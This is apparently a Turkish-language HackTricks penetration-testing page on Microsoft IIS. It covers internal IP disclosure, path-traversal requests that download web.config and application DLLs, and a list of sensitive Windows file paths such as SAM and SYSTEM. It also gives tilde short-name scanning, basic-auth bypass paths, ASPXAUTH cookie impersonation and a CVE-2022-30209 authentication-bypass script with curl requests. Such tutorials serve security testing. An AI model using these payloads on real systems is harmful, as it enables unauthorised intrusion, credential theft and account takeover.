IIS - Internet Information Services
Reading time: 10 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Test edilebilir dosya uzantıları:
- asp
- aspx
- config
- php
Dahili IP Adresi ifşası
302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı ve HTTP/1.0 kullanmayı deneyebilirsiniz ve yanıtın içinde Location başlığı size dahili IP adresini gösterebilir:
nc -v domain.com 80
openssl s_client -connect domain.com:443
İç IP'yi ifşa eden yanıt:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
.config dosyalarını çalıştırma
.config dosyalarını yükleyebilir ve bunları kod çalıştırmak için kullanabilirsiniz. Bunu yapmanın bir yolu, dosyanın sonuna bir HTML yorumu içinde kod eklemektir: Örnek indirin
Bu güvenlik açığını istismar etmek için daha fazla bilgi ve teknikler burada
IIS Keşif Bruteforce
Oluşturduğum listeyi indirin:
Aşağıdaki listelerin içeriklerini birleştirerek oluşturuldu:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Bunu herhangi bir uzantı eklemeden kullanın, gerekli olan dosyalar zaten buna sahiptir.
Yol Traversal
Kaynak kodunu sızdırma
Tam yazımı kontrol edin: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
note
Özet olarak, uygulamanın klasörlerinde "assemblyIdentity" dosyalarına ve "namespaces" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle çalıştırılabilir dosyaların nerede bulunduğunu bilmek ve bunları indirmek mümkündür.
İndirilen Dll'lerden ayrıca yeni namespace'ler bulmak ve yeni namespace'ler ve assemblyIdentity bulmak için web.config dosyasına erişmeye çalışmak mümkündür.
Ayrıca, connectionstrings.config ve global.asax dosyaları ilginç bilgiler içerebilir.
.Net MVC uygulamalarında, web.config dosyası, uygulamanın bağımlı olduğu her ikili dosyayı "assemblyIdentity" XML etiketleri aracılığıyla belirterek kritik bir rol oynar.
İkili Dosyaları Keşfetme
web.config dosyasına erişim örneği aşağıda gösterilmiştir:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Bu istekte çeşitli ayarlar ve bağımlılıklar ortaya çıkmaktadır, örneğin:
- EntityFramework sürümü
- Web sayfaları, istemci doğrulaması ve JavaScript için AppSettings
- Kimlik doğrulama ve çalışma zamanı için System.web yapılandırmaları
- System.webServer modül ayarları
- Microsoft.Owin, Newtonsoft.Json ve System.Web.Mvc gibi birçok kütüphane için Runtime derleme bağlamaları
Bu ayarlar, /bin/WebGrease.dll gibi belirli dosyaların uygulamanın /bin klasöründe bulunduğunu göstermektedir.
Kök Dizin Dosyaları
Kök dizinde bulunan /global.asax ve hassas şifreler içeren /connectionstrings.config gibi dosyalar, uygulamanın yapılandırması ve çalışması için gereklidir.
Ad Alanları ve Web.Config
MVC uygulamaları, her dosyada tekrarlayan bildirimlerden kaçınmak için belirli ad alanları için ek web.config dosyaları tanımlar; bu, başka bir web.config indirme isteği ile gösterilmiştir:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
DLL'leri İndirme
Özel bir ad alanının belirtilmesi, /bin dizininde bulunan "WebApplication1" adlı bir DLL'ye işaret eder. Bunu takiben, WebApplication1.dll dosyasını indirmek için bir istek gösterilmektedir:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Bu, /bin dizininde System.Web.Mvc.dll ve System.Web.Optimization.dll gibi diğer önemli DLL'lerin varlığını önerir.
Bir DLL'nin WebApplication1.Areas.Minded adlı bir ad alanını içe aktardığı bir senaryoda, bir saldırgan, /bin klasöründeki diğer DLL'lere özel yapılandırmalar ve referanslar içeren, /area-name/Views/ gibi öngörülebilir yollarda başka web.config dosyalarının varlığını çıkarabilir. Örneğin, /Minded/Views/web.config için bir istek, başka bir DLL'nin varlığını gösteren yapılandırmaları ve ad alanlarını açığa çıkarabilir, bu DLL WebApplication1.AdditionalFeatures.dll olabilir.
Yaygın dosyalar
From here
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Hatası
Aşağıdaki gibi bir hata görüyorsanız:
Bu, sunucunun Host başlığı içinde doğru alan adını almadığı anlamına gelir.
Web sayfasına erişmek için sunulan SSL Sertifikasına bakabilir ve belki orada alan/ad alanı adını bulabilirsiniz. Eğer orada yoksa, doğru olanı bulana kadar VHosts'ü brute force yapmanız gerekebilir.
Bakılması gereken eski IIS zafiyetleri
Microsoft IIS tilde karakteri “~” Zafiyeti/Özelliği – Kısa Dosya/Klasör Adı Sızdırma
Bu teknik ile her keşfedilen klasörün içinde klasörleri ve dosyaları listelemeyi deneyebilirsiniz (temel kimlik doğrulama gerektirse bile).
Bu tekniğin ana sınırlaması, sunucu zayıfsa, her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini bulabilmesidir.
Bu zafiyeti test etmek için https://github.com/irsdl/IIS-ShortName-Scanner kullanabilirsiniz:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Orijinal araştırma: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Ayrıca metasploit kullanabilirsiniz: use scanner/http/iis_shortname_scanner
Keşfedilen dosyaların son adını bulmak için LLM'lere seçenekler sormak güzel bir fikirdir, bu https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py scriptinde olduğu gibi.
Temel Kimlik Doğrulama atlatma
IIS 7.5 temel kimlik doğrulamasını atlatmayı deneyin: /admin:$i30:$INDEX_ALLOCATION/admin.php
veya /admin::$INDEX_ALLOCATION/admin.php
Yeni klasörler bulmak ve kimlik doğrulamayı atlatmak için bu zafiyeti ve sonuncusunu karıştırmayı deneyebilirsiniz.
ASP.NET Trace.AXD etkin hata ayıklama
ASP.NET, bir hata ayıklama modu içerir ve dosyası trace.axd
olarak adlandırılır.
Bu, bir uygulamaya yapılan tüm isteklerin çok ayrıntılı bir kaydını tutar.
Bu bilgi, uzak istemci IP'leri, oturum kimlikleri, tüm istek ve yanıt çerezleri, fiziksel yollar, kaynak kodu bilgileri ve potansiyel olarak kullanıcı adları ve şifreleri içerir.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
ASPXAUTH Çerezi
ASPXAUTH aşağıdaki bilgileri kullanır:
validationKey
(string): imza doğrulaması için kullanılacak hex kodlu anahtar.decryptionMethod
(string): (varsayılan “AES”).decryptionIV
(string): hex kodlu başlatma vektörü (varsayılan sıfır vektörüdür).decryptionKey
(string): şifreleme için kullanılacak hex kodlu anahtar.
Ancak, bazı insanlar bu parametrelerin varsayılan değerlerini kullanacak ve kullanıcının e-posta adresini çerez olarak kullanacaktır. Bu nedenle, ASPXAUTH çerezini kullanan aynı platformda bir web bulabilirseniz ve saldırı altındaki sunucuda taklit etmek istediğiniz kullanıcının e-posta adresiyle bir kullanıcı oluşturursanız, ikinci sunucudan çerezi birincisinde kullanabilir ve kullanıcıyı taklit edebilirsiniz.
Bu saldırı bu yazıda çalıştı.
Önbelleklenmiş şifrelerle IIS Kimlik Doğrulama Atlatma (CVE-2022-30209)
Tam rapor burada: Kullanıcının verdiği şifreyi doğru bir şekilde kontrol etmeyen bir kod hatası, şifre hash'i önbellekte zaten bulunan bir anahtara denk gelen bir saldırganın o kullanıcı olarak giriş yapabilmesine neden olur.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.